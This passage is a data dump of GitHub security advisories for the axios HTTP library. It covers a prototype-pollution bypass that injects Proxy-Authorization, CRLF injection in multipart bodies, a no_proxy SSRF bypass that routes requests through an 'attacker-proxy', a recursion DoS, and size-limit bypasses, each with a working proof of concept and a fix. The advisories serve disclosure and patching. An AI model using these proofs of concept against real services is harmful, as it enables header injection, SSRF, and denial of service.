CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-113:** Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\n\n## CVSS 3.1\n\n**Score: 5.6 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | **High** | Requires **two** preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the proxy authentication context |\n| Confidentiality | **Low** | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack) |\n| Integrity | **Low** | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |\n| Availability | **Low** | If proxy rejects the injected credentials, legitimate requests may fail |\n\n### Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)\n\n| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |\n|---|---|---|\n| Precondition | **None** — all requests affected | Must have `config.proxy` set |\n| `config.baseURL` PP | Hijacks **all** relative URL requests | Not applicable |\n| `config.auth` PP | Injects `Authorization` to **target server** | Only injects `Proxy-Authorization` to **proxy** |\n| Attacker sees traffic | Yes (via baseURL redirect) | **No** — only proxy identity affected |\n| Impact scope | Universal — every axios request | Only requests with explicit proxy config |\n\n## This Is a Patch Bypass\n\nThis vulnerability **bypasses the fix** introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses `Object.create(null)` for the config object, blocking direct prototype pollution on `config.proxy`, `config.auth`, etc.\n\nHowever, the fix is **incomplete**: when a user legitimately sets `config.proxy = { host: 'proxy.corp', port: 8080 }`, the `mergeConfig()` function passes this object through `utils.merge()`, which creates a **new plain `{}` object** (`lib/utils.js:406: const result = {};`). This new object inherits from `Object.prototype`, re-opening the prototype pollution attack surface on the **nested** proxy object.\n\n| Layer | Protection | Status |\n|---|---|---|\n| `config` (top-level) | `Object.create(null)` | ✓ Fixed |\n| `config.proxy` (nested) | `utils.merge()` → `const result = {}` | **✗ NOT Fixed** |\n| `setProxy()` reads | `proxy.username`, `proxy.auth` without `hasOwnProperty` | **✗ NOT Fixed** |\n\n## Root Cause Analysis\n\n### Step 1: `utils.merge()` creates plain `{}` for nested objects\n\n**File:** `lib/utils.js`, line 406\n\n```javascript\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const result = {};  // ← Plain object with Object.prototype!\n  // ...\n}\n```\n\nWhen `mergeConfig()` processes `config.proxy`, `getMergedValue()` calls `utils.merge()`, which creates a plain `{}` for the nested object. This plain object inherits from `Object.prototype`.\n\n### Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`\n\n**File:** `lib/adapters/http.js`, lines 209-223\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  // ...\n  if (proxy) {\n    if (proxy.username) {                    // ← traverses Object.prototype!\n      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n    }\n\n    if (proxy.auth) {                        // ← traverses Object.prototype!\n      const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);\n      if (validProxyAuth) {\n        proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');\n      }\n      // ...\n      const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');\n      options.headers['Proxy-Authorization'] = 'Basic ' + base64;  // ← INJECTED!\n    }\n    // ...\n  }\n}\n```\n\n### Complete Attack Chain\n\n```\nObject.prototype.username = 'attacker'\nObject.prototype.password = 'stolen-creds'\n         │\n         ▼\n  User config: { proxy: { host: 'proxy.corp', port: 8080 } }\n         │\n         ▼\n  mergeConfig() → utils.merge() → new plain {}\n  config.proxy = { host: 'proxy.corp', port: 8080 }  (own properties)\n  config.proxy inherits from Object.prototype         (has .username, .password)\n         │\n         ▼\n  setProxy() at http.js:209:\n    proxy.username → 'attacker' (from Object.prototype) → truthy!\n    proxy.auth = 'attacker' + ':' + 'stolen-creds'\n         │\n         ▼\n  http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n  Injected into EVERY proxied HTTP request!\n```\n\n## Proof of Concept\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Proxy server logs received Proxy-Authorization\nconst proxyServer = http.createServer((req, res) =\u003e {\n  console.log('Proxy-Authorization:', req.headers['proxy-authorization']);\n  res.writeHead(200);\n  res.end('OK');\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Target server\nconst target = http.createServer((req, res) =\u003e { res.writeHead(200); res.end(); });\nawait new Promise(r =\u003e target.listen(0, r));\n\n// Simulate prototype pollution from vulnerable dependency\nObject.prototype.username = 'attacker';\nObject.prototype.password = 'stolen-creds';\n\n// Developer sets proxy WITHOUT auth — expects no auth header\nawait axios.get(`http://127.0.0.1:${target.address().port}/api`, {\n  proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },\n});\n\n// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n// Decoded: attacker:stolen-creds\n\ndelete Object.prototype.username;\ndelete Object.prototype.password;\nproxyServer.close();\ntarget.close();\n```\n\n## Reproduction Environment\n\n```\nAxios version: 1.15.2 (latest patched release)\nNode.js version: v20.20.2\nOS: macOS Darwin 25.4.0\n```\n\n## Reproduction Steps\n\n```bash\n# 1. Install axios 1.15.2\nnpm pack axios@1.15.2\ntar xzf axios-1.15.2.tgz \u0026\u0026 mv package axios-1.15.2\ncd axios-1.15.2 \u0026\u0026 npm install\n\n# 2. Save PoC as poc.mjs (code from Section 7 above)\n\n# 3. Run\nnode poc.mjs\n```\n\n## Verified PoC Output\n\n```\n=== Axios 1.15.2: PP → Proxy-Authorization Injection ===\n\n[1] Normal request with proxy (no auth):\n  Proxy-Authorization: none\n\n[2] Prototype Pollution: Object.prototype.username = \"attacker\"\n  Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n  Decoded: attacker:stolen-creds\n  → PP injected proxy credentials: attacker:stolen-creds\n\n[3] Impact:\n  ✗ Attacker injects Proxy-Authorization into all proxied requests\n  ✗ If proxy logs auth, attacker credential appears in proxy logs\n  ✗ If proxy authenticates based on this, attacker controls proxy identity\n  ✗ Works on 1.15.2 despite null-prototype config fix\n  ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype\n```\n\n### Confirming the Bypass Mechanism\n\n```\nDirect PP (config.proxy) — BLOCKED by 1.15.2:\n  Object.prototype.proxy = { host: 'evil' }\n  config.proxy = undefined            ← null-prototype blocks ✓\n\nNested PP (proxy.username) — BYPASSES 1.15.2:\n  Object.prototype.username = 'attacker'\n  config.proxy = { host: 'legit', port: 8080 }  ← user-set, own properties\n  config.proxy own keys: ['host', 'port']        ← username NOT own\n  config.proxy.username = 'attacker'             ← inherited from Object.prototype!\n  hasOwn(config.proxy, 'username') = false\n```\n```\n\n## Impact Analysis\n\n- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.\n- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record \"attacker\" instead of the real user, enabling audit trail manipulation.\n- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.\n- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.\n\n### Prerequisite\n\n- Application must use `config.proxy` (explicit proxy configuration)\n- A separate prototype pollution vulnerability must exist in the dependency tree\n- `Object.prototype.username` or `Object.prototype.auth` must be polluted\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` in `setProxy()`\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  // ...\n  if (proxy) {\n    const hasOwn = (obj, key) =\u003e Object.prototype.hasOwnProperty.call(obj, key);\n\n    if (hasOwn(proxy, 'username')) {\n      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n    }\n\n    if (hasOwn(proxy, 'auth')) {\n      // ... existing auth handling ...\n    }\n  }\n}\n```\n\n### Fix 2: Use null-prototype objects in `utils.merge()`\n\n```javascript\n// lib/utils.js line 406\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const result = Object.create(null);  // ← null-prototype for nested objects too\n  // ...\n}\n```\n\n### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`\n\n## References\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-05-29T15:51:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":3.7,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-654m-c8p4-x5fp","https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj","https://nvd.nist.gov/vuln/detail/CVE-2026-44489","https://github.com/advisories/GHSA-654m-c8p4-x5fp"],"source_kind":"github","identifiers":["GHSA-654m-c8p4-x5fp","CVE-2026-44489"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-29T16:00:09.190Z","updated_at":"2026-08-28T13:01:55.214Z","epss_percentage":0.00236,"epss_percentile":0.14335,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NTRtLWM4cDQteDVmcM4ABXus","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NTRtLWM4cDQteDVmcM4ABXus","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.16.0","vulnerable_version_range":"= 1.15.2"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NTRtLWM4cDQteDVmcM4ABXus/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00NDVxLXZyNXctNnE3N84ABWJ9","url":"https://github.com/advisories/GHSA-445q-vr5w-6q77","title":"Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream","description":"### Summary\nThe `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\\r\\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.\n\n### Details\nIn `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:\n```\nif (isStringValue) {\n  value = textEncoder.encode(String(value).replace(/\\r?\\n|\\r\\n?/g, CRLF));\n} else {\n  // value.type is NOT sanitized for CRLF sequences\n  headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;\n}\n```\nNote that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`.\n\n\n### Attack chain:\n\n1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\\r\\n` sequences\n2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)`\n3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body\n4. The downstream server receives a multipart body containing injected per-part headers\n5. The server's multipart parser processes the injected headers as legitimate\n\nThis is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration.\nAdditionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited.\n\n### PoC\n**Prerequisites**: Node.js 18+, axios (tested on 1.14.0)\n```\nconst http = require('http');\nconst axios = require('axios');\n\nlet receivedBody = '';\n\nconst server = http.createServer((req, res) =\u003e {\n  let body = '';\n  req.on('data', chunk =\u003e { body += chunk.toString(); });\n  req.on('end', () =\u003e {\n    receivedBody = body;\n    res.writeHead(200);\n    res.end('ok');\n  });\n});\n\nserver.listen(0, '127.0.0.1', async () =\u003e {\n  const port = server.address().port;\n\n  class SpecFormData {\n    constructor() {\n      this._entries = [];\n      this[Symbol.toStringTag] = 'FormData';\n    }\n    append(name, value) { this._entries.push([name, value]); }\n    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }\n    entries() { return this._entries[Symbol.iterator](); }\n  }\n\n  const fd = new SpecFormData();\n\n  fd.append('photo', {\n    type: 'image/jpeg\\r\\nX-Injected-Header: PWNED-by-attacker\\r\\nX-Evil: arbitrary-value',\n    size: 16,\n    name: 'photo.jpg',\n    [Symbol.asyncIterator]: async function*() {\n      yield Buffer.from('MALICIOUS PAYLOAD');\n    }\n  });\n\n  await axios.post(`http://127.0.0.1:${port}/upload`, fd);\n\n  if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {\n    console.log('[VULNERABLE] CRLF injection confirmed in multipart body');\n    console.log('Received body:\\n' + receivedBody);\n  } else {\n    console.log('[NOT_VULNERABLE]');\n  }\n\n  server.close();\n});\n```\n\n### Steps to reproduce:\n\n1. npm install axios\n2. Save the above as poc_axios_crlf.js\n3. Run node poc_axios_crlf.js\n4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body\n\n**Expected behavior**: value.type should be sanitized to strip \\r\\n before interpolation, consistent with the string value path.\n**Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.\n\n### Impact\nAny Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.\nConsequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.\naxios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.\n\n### Suggested fix\nIn formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \\r\\n) or use the same escapeName logic.\n```\nconst safeType = (value.type || 'application/octet-stream')\n  .replace(/[\\r\\n]/g, '');\nheaders += `Content-Type: ${safeType}${CRLF}`;\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:40:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77","https://nvd.nist.gov/vuln/detail/CVE-2026-42037","https://github.com/advisories/GHSA-445q-vr5w-6q77"],"source_kind":"github","identifiers":["GHSA-445q-vr5w-6q77","CVE-2026-42037"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-28T13:02:33.456Z","epss_percentage":0.00294,"epss_percentile":0.21501,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NDVxLXZyNXctNnE3N84ABWJ9","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NDVxLXZyNXctNnE3N84ABWJ9","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NDVxLXZyNXctNnE3N84ABWJ9/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tN3ByLWhqcWgtOTJjbc4ABWJ8","url":"https://github.com/advisories/GHSA-m7pr-hjqh-92cm","title":"Axios: no_proxy bypass via IP alias allows SSRF","description":"The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.\n\nThe shouldBypassProxy() function does pure string matching — it does not \nresolve IP aliases or loopback equivalents. As a result:\n- no_proxy=localhost does NOT block 127.0.0.1 or [::1]\n- no_proxy=127.0.0.1 does NOT block localhost or [::1]\n\n\nPOC :\nprocess.env.no_proxy = 'localhost';\nprocess.env.http_proxy = 'http://attacker-proxy:8888';\n\n```(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % \u003e....                     \n    process.env.http_proxy = 'http://127.0.0.1:8888';\n\n    console.log('=== Test 1: localhost (should bypass proxy) ===');\n    try {\n      await axios.get('http://localhost:7777/');\n    } catch(e) {\n      console.log('Error:', e.message);\n    }\n\n    console.log('');\n    console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');\n    try {\n      await axios.get('http://127.0.0.1:7777/');\n    } catch(e) {\n      console.log('Error:', e.message);\n    }\n\n    fakeProxy.close();\n    internalServer.close();\n  });\n});\nEOF\n=== Test 1: localhost (should bypass proxy) ===\n✅ Internal server hit directly (correct)\n\n=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===\n🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/\n🚨 Host header: 127.0.0.1:7777. ```\n \n\n\n\n\n\n\u003cimg width=\"1212\" height=\"247\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7\" /\u003e\n\n\n\n\nImpact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.\n\nFix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:40:17.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/axios/axios/security/advisories/GHSA-m7pr-hjqh-92cm","https://nvd.nist.gov/vuln/detail/CVE-2026-42038","https://github.com/advisories/GHSA-m7pr-hjqh-92cm"],"source_kind":"github","identifiers":["GHSA-m7pr-hjqh-92cm","CVE-2026-42038"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-28T13:02:33.456Z","epss_percentage":0.00301,"epss_percentile":0.22097,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tN3ByLWhqcWgtOTJjbc4ABWJ8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tN3ByLWhqcWgtOTJjbc4ABWJ8","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tN3ByLWhqcWgtOTJjbc4ABWJ8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02MmhmLTU3eHctMjhqOc4ABWJ7","url":"https://github.com/advisories/GHSA-62hf-57xw-28j9","title":"Axios: unbounded recursion in toFormData causes DoS via deeply nested request data","description":"### Summary\ntoFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.\n\n### Details\nlib/helpers/toFormData.js:210 defines an inner `build(value, path)` that recurses into every object/array child (line 225: `build(el, path ? path.concat(key) : [key])`). The only safeguard is a `stack` array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because `build` calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.\n\n`toFormData` is the serializer behind `FormData` request bodies and `AxiosURLSearchParams` (used by `buildURL` when `params` is an object with `URLSearchParams` unavailable, see `lib/helpers/buildURL.js:53` and `lib/helpers/AxiosURLSearchParams.js:36`). Any server-side code that forwards a client-supplied object into `axios({ data, params })` therefore reaches the recursive walker with attacker-controlled depth.\n\nThe RangeError is thrown synchronously from inside `forEach`, escapes `toFormData`, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.\n\n### PoC\n```js\nimport toFormData from 'axios/lib/helpers/toFormData.js';\nimport FormData from 'form-data';\n\nfunction nest(depth) {\n  let o = { leaf: 1 };\n  for (let i = 0; i \u003c depth; i++) o = { a: o };\n  return o;\n}\n\ntry {\n  toFormData(nest(2500), new FormData());\n} catch (e) {\n  console.log(e.name + ': ' + e.message);\n}\n// RangeError: Maximum call stack size exceeded\n```\n\nServer-side reachability example:\n```js\n// vulnerable proxy pattern\napp.post('/forward', async (req, res) =\u003e {\n  await axios.post('https://upstream/api', req.body); // req.body user-controlled\n  res.send('ok');\n});\n// attacker POST /forward with {\"a\":{\"a\":{\"a\":... 2500 deep ...}}}\n// -\u003e toFormData build() overflows -\u003e request handler crashes\n```\n\nVerified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.\n\n### Impact\nA remote, unauthenticated attacker who can influence an object passed to axios as request `data` or `params` triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in `toFormData`'s `build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:34:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9","https://nvd.nist.gov/vuln/detail/CVE-2026-42039","https://github.com/axios/axios/commit/85132ffba1a77609ea5d101c8a413dea7174932f","https://github.com/axios/axios/releases/tag/v1.15.1","https://github.com/advisories/GHSA-62hf-57xw-28j9"],"source_kind":"github","identifiers":["GHSA-62hf-57xw-28j9","CVE-2026-42039"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-29T17:02:15.073Z","epss_percentage":0.00744,"epss_percentile":0.51609,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MmhmLTU3eHctMjhqOc4ABWJ7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02MmhmLTU3eHctMjhqOc4ABWJ7","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MmhmLTU3eHctMjhqOc4ABWJ7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01Yzl4LThnY20tbXBneM4ABWJ6","url":"https://github.com/advisories/GHSA-5c9x-8gcm-mpgx","title":"Axios' HTTP adapter-streamed uploads bypass maxBodyLength when maxRedirects: 0","description":"### Summary\n\nFor stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.\n\n### Details\n\nRelevant flow in lib/adapters/http.js:\n  - 556-564: maxBodyLength check applies only to buffered/non-stream data.\n  - 681-682: maxRedirects === 0 selects native http/https transport.\n  - 694-699: options.maxBodyLength is set, but native transport does not enforce it.\n  - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.\n\nThis creates a path-specific bypass for streamed uploads.\n\n  ### PoC\n\nEnvironment:\n\n  - Axios main at commit f7a4ee2\n  - Node v24.2.0\n\n  Steps:\n  1. Start an HTTP server that counts uploaded bytes and returns {received}.\n  2. Send a 2 MiB Readable stream with:\n      - adapter: 'http'\n      - maxBodyLength: 1024\n      - maxRedirects: 0\n\n  Observed:\n  - Request succeeds; server reports received: 2097152.\n\n  Control checks:\n  - Same stream with default/nonzero redirects: rejected with ERR_FR_MAX_BODY_LENGTH_EXCEEDED.\n  - Buffered body with maxRedirects: 0: rejected with ERR_BAD_REQUEST.\n\n  ### Impact\nType: DoS / uncontrolled upstream upload / resource exhaustion.\nImpacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:33:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/axios/axios/security/advisories/GHSA-5c9x-8gcm-mpgx","https://nvd.nist.gov/vuln/detail/CVE-2026-42034","https://github.com/advisories/GHSA-5c9x-8gcm-mpgx"],"source_kind":"github","identifiers":["GHSA-5c9x-8gcm-mpgx","CVE-2026-42034"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-28T13:02:33.457Z","epss_percentage":0.00327,"epss_percentile":0.25041,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Yzl4LThnY20tbXBneM4ABWJ6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01Yzl4LThnY20tbXBneM4ABWJ6","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01Yzl4LThnY20tbXBneM4ABWJ6/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12ZjJtLTQ2OHAtOHY5Oc4ABWJw","url":"https://github.com/advisories/GHSA-vf2m-468p-8v99","title":"Axios: HTTP adapter streamed responses bypass maxContentLength","description":"### Summary\n\nWhen responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.\n\n### Details\nIn lib/adapters/http.js:\n  - 786-789: for responseType === 'stream', Axios immediately settles with the stream.\n  - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.\n\nSo callers may set maxContentLength and still receive/read arbitrarily large streamed responses.\n\n### PoC\n\nEnvironment:\n- Axios main at commit f7a4ee2\n- Node v24.2.0\n\n Steps:\n\n1. Start an HTTP server that returns a 2 MiB response body.\n2. Call Axios with:\n   - adapter: 'http'\n   - responseType: 'stream'\n   - maxContentLength: 1024\n3. Read the returned stream fully.\n\nObserved:\n- Success; full 2097152 bytes readable.\n\nControl check:\n- Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.\n\n### Impact\nType: DoS / unbounded response processing.\nImpacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-05T00:26:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99","https://nvd.nist.gov/vuln/detail/CVE-2026-42036","https://github.com/advisories/GHSA-vf2m-468p-8v99"],"source_kind":"github","identifiers":["GHSA-vf2m-468p-8v99","CVE-2026-42036"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-05T01:00:11.649Z","updated_at":"2026-08-28T13:02:33.457Z","epss_percentage":0.00327,"epss_percentile":0.25041,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ZjJtLTQ2OHAtOHY5Oc4ABWJw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12ZjJtLTQ2OHAtOHY5Oc4ABWJw","packages":[{"ecosystem":"npm","package_name":"axios","versions":[{"first_patched_version":"0.31.1","vulnerable_version_range":"\u003c= 0.31.0"},{"first_patched_version":"1.15.1","vulnerable_version_range":"\u003e= 1.0.0, \u003c 1.15.1"}],"purl":"pkg:npm/axios"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12ZjJtLTQ2OHAtOHY5Oc4ABWJw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZjg2LTV4NjItanJ3Zs4ABWJv","url":"https://github.com/advisories/GHSA-pf86-5x62-jrwf","title":"Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking","description":"## Summary\n\nWhen `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying 